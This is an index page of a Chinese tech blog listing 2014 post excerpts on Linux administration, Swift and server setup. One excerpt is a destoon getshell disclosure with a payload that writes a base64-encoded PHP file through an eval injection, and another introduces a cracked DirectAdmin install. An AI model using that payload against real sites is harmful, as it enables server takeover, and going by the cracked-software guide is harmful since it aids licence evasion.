比别人多一点志气,你就会多一份出息 [登录·注册]

吕滔博客

首页 开发 运维 工具 摄影
  • 10-312014

    Linux启动报错UNEXPECTED INCONSISTENCY解决方法

    memory 1.     首先在命令行输入(可选) mount | grep ''on /''得到root用户所在分区/dev/your_partition 2.     然后在命令行输入 fsck -y /dev/root #fsck -y /dev/your_partition #检测并修复磁盘/dev/root,-y 选项指定检测每个文件是自动输入yes 4.     继续...

    运维 发布于 2014-10-31评论(0)阅读(8768)
  • 10-292014

    命名空间

    memoryObjective-C 一个一直以来令人诟病的地方就是没有命名空间,在应用开发时,所有的代码和引用的静态库最终都会被编译到同一个域和二进制中。这样的后果是一旦我们有重复的类名的话,就会导致编译时的冲突和失败。为了避免这种事情的发生,Objective-C 的类型一般都会加上两到三个字母的前缀,比如 Apple 保留的 NS 和 UI 前缀,各个系统框架的前缀 SK (StoreKit),CG (CoreGraphic) 等。Objective-C 社区的大部分开发者也遵守了这个约定,一般都...

    Swift TIP 发布于 2014-10-29评论(0)阅读(1108)
  • 10-292014

    6步骤实现CentOS系统环境精简优化

    memory第一步、删除不必要的自带软件包yum remove Deployment_Guide-en-US finger cups-libs cups ypbind yum remove bluez-libs desktop-file-utils ppp rp-pppoe wireless-tools irda-utils yum remove sendmail* samba* talk-server finger-server bind* xinetd yum remove nfs-util...

    运维 发布于 2014-10-29评论(0)阅读(7644)
  • 10-262014

    通过定制nginx的rpm包学习如何制作rpm安装包

    memoryRPM是RedHat Package Manager(RedHat软件包管理工具)的缩写,是一种用于互联网下载包的打包及安装工具,它包含在某些Linux分发版中。它生成具有.RPM扩展名的文件。使用rpm安装软件和管理软件非常的方便。而这节我们不是介绍如何使用rpm安装或管理软件,而是如何把源码制作成rpm包。 下面我们以制作nginx的rpm开始介绍其制作方法。以下操作在centos-5 32系统进行。 制作nginx的rpm例子 1、建立目录结构 /usr/src/redhat/SOU...

    工具 发布于 2014-10-26评论(0)阅读(6815)
  • 10-262014

    linux 查找目录或文件

    memory查找目录:find /(查找范围) -name '查找关键字' -type d 查找文件:find /(查找范围) -name 查找关键字 -print如果需要更进一步的了解,可以参看Linux的命令详解。这里摘抄如下:·find path -option [ -print ] [ -exec -ok command ] {} /; #-print 将查找到的文件输出到标准输出 #-exec command {} /;     -----将查到的文件...

    运维 发布于 2014-10-26评论(0)阅读(6562)
  • 10-252014

    Linux 查看登录日志及登录失败用户的ip

    memoryLinux 查看登录成功的用户信息命令: last最新的登录记录在最前面,所以可以用 一下命令来查看。last | less查看登录失败的用户信息命令: lastb查看登录日志命令:  tail /var/log/secure

    工具 发布于 2014-10-25评论(0)阅读(9066)
  • 10-242014

    destoon前台getshell漏洞-乌云公开篇

    memory问题文件 admin/tag.inc.php 95行 eval($tag_code); 未对用户提交的执行代码tag_code做安全限制 1.前台注册会员 2.进入会员中心,发布一条求购信息信息标题:随意行业分类:随意产品图片:通过审查元素,修改 post[thumb] 的value为 ?file=tag&action=preview&tag_code=file_put_contents(base64_decode(MC5waHA),base64_decode(PD9wa...

    工具 发布于 2014-10-24评论(0)阅读(7345)
  • 10-222014

    实例方法的动态调用

    memory在 Swift 中有一类很有意思的写法,可以让我们不直接使用实例来调用这个实例上的方法,而是通过类型取出这个类型的某个实例方法的签名,然后再通过传递实例来拿到实际需要调用的方法。比如我们有这样的定义:class MyClass { func method(number: Int) -> Int { return number + 1 } }想要调用 method 方法的话,最普通的使用方式是生成 MyClass 的实例,然后用 .method 来调用它...

    Swift TIP 发布于 2014-10-22评论(0)阅读(943)
  • 10-202014

    简单的CentOS服务器安全配设置(入门篇)

    memory  在繁多的服务器中,CentOS服务器算是一个佼佼者,以自己的优势,CentOS服务器得到了很多的网友的拥护。那么,如何对CentOS服务器的安全性有个保障呢?下面,就对CentOS服务器的一些安全问题给出一个很好的解决方法。1、用防火墙关闭不须要的任何端口,别人PING不到服务器,威胁自然减少了一大半。防止别人ping的方法:1)命令提示符下打,0表示允许,1表示禁止echo 1 > /proc/sys/net/ipv4/icmp_ignore_all2)用防火墙禁止(或丢弃) ...

    运维 发布于 2014-10-20评论(0)阅读(2687)
  • 10-152014

    记一次内网中phpcms故障处理之windows2003+php运行越用越慢

    memory前几天一朋友给我说,他帮两个政府单位服务的两个网站,差不多同时间出现了访问一段时间后,网站打开就非常慢的情况.主机环境是windows2003+apache+php+mysql,但如果把apache重启一下就OK,又非常快.我的第一反应就是apache的线程不够用,看了一下错误日志,的确也提示线程不够了,修改了一下apache的线程<IfModule prefork.c> StartServers 8 MinSpareServers ...

    工具 发布于 2014-10-15评论(0)阅读(4010)
  • 10-152014

    方法嵌套

    memory方法终于成为了一等公民,也就是说,我们可以将方法当作变量或者参数来使用了。更进一步地,我们甚至可以在一个方法中定义新的方法,这给代码结构层次和访问级别的控制带来的新的选择。想想看有多少次我们因为一个方法主体内容过长,而不得不将它重构为好几个小的功能块的方法,然后在原来的主体方法中去调用这些小方法。这些具体负责一个个小功能块的方法也许一辈子就被调用这么一次,但是却不得不存在于整个类型的作用域中。虽然我们会将它们标记为私有方法,但是事实上它们所承担的任务往往和这个类型没有直接关系,而只是会在这...

    Swift TIP 发布于 2014-10-15评论(0)阅读(1106)
  • 10-142014

    DirectAdmin开心版+中文语言包安装教程

    memory首先创建一个文件夹来放置DirectAdmin,执行以下命令:mkdir -p /usr/local/directadmin将update2.tar.gz压缩包内的文件解压到刚创建的目录:tar xvf update2.tar.gz -C /usr/local/directadmin分别运行下面三行命令。注意,最后一行命令有点长,别以为是几行命令,事实上只是一行。yum -y update yum -y install dos2unix patch screen unzip lftp ta...

    工具 发布于 2014-10-14评论(0)阅读(6849)
  • 10-082014

    下标

    memory下标相信大家都很熟悉了,在绝大多数语言中使用下标来读写类似数组或者是字典这样的数据结构的做法,似乎已经是业界标准。在 Swift 中,Array 和 Dictionary 当然也实现了下标读写:var arr = [1,2,3] arr[2] // 3 arr[2] = 4 // arr = [1,2,4] var dic = ["cat":"meow", "goat":"mie&q...

    Swift TIP 发布于 2014-10-08评论(0)阅读(1117)
  • 10-052014

    tengine2+mysql-5.6+php5.5 Linux 服务器环境架构

    memory升级所需要的库sudo -s LANG=C yum install -y wget gcc gcc-c++ openssl* curl curl-devel libxml2 libxml2-devel glibc glibc-devel glib2 glib2-devel gd gd2 gd-devel gd2-devel libaio autoconf libjpeg libjpeg-devel libpng libpng-devel freetype freetype-devel二...

    运维 发布于 2014-10-05评论(0)阅读(10575)
  • 10-052014

    WEB开发中一些常见的攻击方式及简单的防御方法

    memorySQL注入 最常见的攻击方式,所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.跨站脚本攻击(XSS) 跨站脚本攻击(也称为XSS)指利用网站漏洞从用户那里恶意盗取信息。文件包含 由于开发人员编写源码,开放着将可重复使用的代码插入到单个的文件中,并在需要的时候将它们包含在特殊的功能代码文件中,...

    开发 发布于 2014-10-05评论(0)阅读(6851)
  • 12

    网站状态

    • 栏目分类:35个
    • 发布文章:1109篇
    • 用户评论:619条

    最新回复

    • memory: 对,这个密钥最好是自己换一下。当然不嫌麻烦甚至可以考虑将密钥做到...
    • 小明明: 在加密的时候 秘钥固定不就可以机密了吗
    • 上海代理记账: 看起来代码有一些复杂的呀。。。
    • 香港云服务器: 站长不错,不错的干货
    • yet handsome: 我看了你的这个发现历史真的是惊人的相似,我们已经做到redis集...
    • memory: 好久不玩它们了,我的相关知识来自谷歌...
    • 于小鱼: 你好,想请教一些关于xen和kvm的问题。
    • memory: 如果将图片 base64_encode 后,再想取回以前的路径不...
    • 陈凌风: 我要区正常的路径显示怎么办?
    • genuiner: 牛逼
    • haitongz: 赞
    • memory: php64位? 这个我还真没有注意。。。回头再试试
    • Kngstr: 这个很简单,你用的PHP不是64位的,64位的dll只能在64位...
    • memory: 使用的是typecho.
    • GavinHsueh: 您好,我了解下您的博客是自己开发的么?看着很不错
    • 个人博客: 看看先
    • memory: 谢谢,已修正。
    • jrotty: 方法一中next后面少个'符号
    • daxia: mark
    • 企业孵化器: 厉害了